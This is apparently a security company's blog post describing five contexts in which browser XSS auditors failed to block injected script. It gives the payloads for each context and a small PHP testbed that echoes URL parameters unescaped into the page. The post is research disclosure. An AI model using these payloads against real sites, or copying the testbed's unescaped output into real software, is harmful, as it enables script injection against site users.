AI agents building security tests – architecture and prompts
The Detectify AI Agent Alfred fully automates the creation of security tests for new vulnerabilities, from research to a merge request. In its first six …
While implementing a new JavaScript engine into Detectify, we discovered that the XSS auditors in modern browsers wasn’t as good at catching special cases as we thought. Considering that we had such a good response to our previous post on bypassing the Chrome XSS Auditor, we thought this would make a fitting post.
Context 1:
<script src="[Injection]"></script>
Injection: data:,alert(1)
<script src="data:,alert(1)"></script>
Works in: Chrome, Opera, Firefox, IE
Context 2:
<img src="notfound" onerror="[Injection]" />
Injection: alert(2)
<img src="notfound" onerror="alert(2)" />
Works in: Chrome, Opera, Firefox, IE
Context 3:
<script>var string = "[Injection]"</script>
Injection: “alert(3)”
<script>var string = ""*alert(3)*""</script>
Works in: Chrome, Opera, Firefox
Context 4:
<iframe src="[Injection]"></iframe>
Injection: javascript:alert(4)
<frame src="javascript:alert(4)"></iframe>
Works in: Chrome, Opera, Firefox
Context 5:
Some [Injection] text on the same line [Injection]
Injection: %0aalert(5)</script><script>–>
Some alert(5)</script><script>--> text on the same line alert(5)</script><script>-->
Works in: Chrome, Opera, Firefox
Note that context 5 only work with the “–>” style comment, and won’t work with “/*” or “//” style comments.
Testbed
<html> <script src="<?=@$_GET[1]?>"></script> <script>var string = "<?=@$_GET[2]?>"</script> <iframe src="<?=@$_GET[3]?>"></iframe> <img src="x" onerror=<?=@$_GET[4]?> /> Some <?=@$_GET[5]?>text on the same line<?=@$_GET[5]?> </html>
Test URI: ?1=data:,alert(1)&2=“alert(2)”&3=javascript:alert(3)&4=onerror=alert(4)&5=%0aalert(5)</script><script>–>
To the defense of the developers of the auditors/filters, these filters are only supposed to be a mitigation, and “as good as possible”. While it’s no secret that they don’t catch everything, we still thought we would share the specific contexts we had discovered.
Check out more content
Account hijacking using “dirty dancing” in sign-in OAuth-flows
Combining response-type switching, invalid state and redirect-uri quirks using OAuth, with third-party javascript-inclusions has multiple vulnerable scenarios where authorization codes or tokens could leak to …
